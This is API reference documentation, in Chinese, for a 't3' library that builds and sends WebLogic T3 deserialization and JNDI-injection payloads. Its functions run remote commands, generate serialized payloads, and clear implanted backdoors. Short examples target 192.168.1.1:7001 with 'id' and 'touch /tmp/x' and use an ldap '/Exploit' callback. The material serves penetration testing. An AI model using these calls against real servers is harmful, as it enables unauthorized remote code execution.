t3
t3 库用于构造与发送 WebLogic T3 协议的利用 Payload,常用于 WebLogic 反序列化、JNDI 注入等漏洞的利用与命令执行验证。
典型使用场景:
- 命令执行:
t3.ExecCommand(addr, cmd, opts...)通过 T3 协议在目标 WebLogic 上执行命令。 - 构造与发送:
t3.GenerateJavaObjectStreamBytes/t3.GenerateWeblogicJNDIPayload生成序列化/JNDI Payload,t3.SendJavaObjectStreamBytes发送;t3.clearBackdoor/t3.timeout/t3.debugHandler控制行为。
与相邻库的关系:t3 与 yso(gadget 生成)、java(对象构造)、facades/iiop(利用通道)配合,构成 WebLogic 反序列化利用链中的 T3 通道。
共 7 个函数
函数索引
| 函数 | 参数 | 返回值 | 说明 |
|---|---|---|---|
| t3.GenerateJavaObjectStreamBytes | cmd string | []byte | 根据要执行的命令生成 T3 利用所需的 Java 序列化对象字节流 |
| t3.GenerateWeblogicJNDIPayload | addr string | []byte | 生成一个用于 Weblogic JNDI 注入的 T3 序列化 payload 字节流 |
| t3.clearBackdoor | clear bool | OptionFun | 是一个 T3 利用配置选项,用于设置是否在利用后清理植入的后门对象 |
| t3.debugHandler | handler func(string) | OptionFun | 是一个 T3 利用配置选项,用于设置调试回调以观察利用过程的中间数据 |
| t3.timeout | duration float64 | OptionFun | 是一个 T3 利用配置选项,用于设置网络操作的超时时间(单位:秒) |
可变参数函数索引
| 函数 | 参数 | 返回值 | 说明 |
|---|---|---|---|
| t3.ExecCommand | addr string, cmd string, f ...OptionFun | string, error | 通过 Weblogic T3 协议反序列化漏洞在目标上执行命令并回显结果 |
| t3.SendJavaObjectStreamBytes | addr string, acedBytes any, f ...OptionFun | error | 通过 T3 协议向目标发送原始的 Java 序列化对象字节流 |
函数详情
GenerateJavaObjectStreamBytes
GenerateJavaObjectStreamBytes(cmd string) []byte
根据要执行的命令生成 T3 利用所需的 Java 序列化对象字节流
参数
| 参数名 | 类型 | 说明 |
|---|---|---|
| cmd | string | 要在目标上执行的系统命令 |
返回值
| 序号 | 类型 | 说明 |
|---|---|---|
| r1 | []byte | 构造好的 Java 序列化对象字节流,可配合 t3.SendJavaObjectStreamBytes 使用 |
示例
// 生成执行命令的 Java 序列化字节流,此处仅作示意
payload = t3.GenerateJavaObjectStreamBytes("id")
println(len(payload))
GenerateWeblogicJNDIPayload
GenerateWeblogicJNDIPayload(addr string) []byte
生成一个用于 Weblogic JNDI 注入的 T3 序列化 payload 字节流
参数
| 参数名 | 类型 | 说明 |
|---|---|---|
| addr | string | JNDI 注入要回连的地址(如恶意 ldap/rmi 服务地址) |
返回值
| 序号 | 类型 | 说明 |
|---|---|---|
| r1 | []byte | 构造好的 Java 序列化 payload 字节流 |
示例
// 生成 Weblogic JNDI payload,此处仅作示意
payload = t3.GenerateWeblogicJNDIPayload("ldap://127.0.0.1:1389/Exploit")
println(len(payload))
clearBackdoor
clearBackdoor(clear bool) OptionFun
是一个 T3 利用配置选项,用于设置是否在利用后清理植入的后门对象
参数
| 参数名 | 类型 | 说明 |
|---|---|---|
| clear | bool | 是否清理后门 |
返回值
| 序号 | 类型 | 说明 |
|---|---|---|
| r1 | OptionFun | 一个 T3 利用配置选项,作为可变参数传入 t3.ExecCommand 等函数 |
示例
// 利用后自动清理后门,此处仅作示意
result, err = t3.ExecCommand("192.168.1.1:7001", "id", t3.clearBackdoor(true))
println(result)
debugHandler
debugHandler(handler func(string)) OptionFun
是一个 T3 利用配置选项,用于设置调试回调以观察利用过程的中间数据
参数
| 参数名 | 类型 | 说明 |
|---|---|---|
| handler | func(string) | 调试回调函数,接收过程中的调试字符串 |
返回值
| 序号 | 类型 | 说明 |
|---|---|---|
| r1 | OptionFun | 一个 T3 利用配置选项,作为可变参数传入 t3.ExecCommand 等函数 |
示例
// 设置调试回调观察 T3 利用过程,此处仅作示意
result, err = t3.ExecCommand("192.168.1.1:7001", "id", t3.debugHandler(func(s) { println(s) }))
println(result)
timeout
timeout(duration float64) OptionFun
是一个 T3 利用配置选项,用于设置网络操作的超时时间(单位:秒)
参数
| 参数名 | 类型 | 说明 |
|---|---|---|
| duration | float64 | 超时时间,单位为秒,支持小数 |
返回值
| 序号 | 类型 | 说明 |
|---|---|---|
| r1 | OptionFun | 一个 T3 利用配置选项,作为可变参数传入 t3.ExecCommand 等函数 |
示例
// 设置 T3 操作超时,此处仅作示意
result, err = t3.ExecCommand("192.168.1.1:7001", "id", t3.timeout(10))
println(result)
可变参数函数详情
ExecCommand
ExecCommand(addr string, cmd string, f ...OptionFun) (string, error)
通过 Weblogic T3 协议反序列化漏洞在目标上执行命令并回显结果
必填参数
| 参数名 | 类型 | 说明 |
|---|---|---|
| addr | string | 目标地址,格式为 host:port |
| cmd | string | 要执行的系统命令 |
可选参数
| 参数名 | 类型 | 说明 |
|---|---|---|
| f | ...OptionFun | 可选配置,例如 t3.timeout、t3.clearBackdoor、t3.debugHandler |
返回值
| 序号 | 类型 | 说明 |
|---|---|---|
| r1 | string | 命令执行的回显结果 |
| r2 | error | 错误信息,连接或利用失败时返回非空 |
示例
// 通过 T3 协议执行命令,依赖存在漏洞的目标,此处仅作示意
result, err = t3.ExecCommand("192.168.1.1:7001", "id", t3.timeout(10))
println(result)
SendJavaObjectStreamBytes
SendJavaObjectStreamBytes(addr string, acedBytes any, f ...OptionFun) error
通过 T3 协议向目标发送原始的 Java 序列化对象字节流
必填参数
| 参数名 | 类型 | 说明 |
|---|---|---|
| addr | string | 目标地址,格式为 host:port |
| acedBytes | any | 要发送的 Java 序列化对象字节流(以 0xACED 开头) |
可选参数
| 参数名 | 类型 | 说明 |
|---|---|---|
| f | ...OptionFun | 可选配置,例如 t3.timeout、t3.debugHandler |
返回值
| 序号 | 类型 | 说明 |
|---|---|---|
| r1 | error | 错误信息,发送失败时返回非空 |
示例
// 发送自定义 Java 序列化字节流,依赖目标,此处仅作示意
payload = t3.GenerateJavaObjectStreamBytes("touch /tmp/x")~
t3.SendJavaObjectStreamBytes("192.168.1.1:7001", payload, t3.timeout(10))~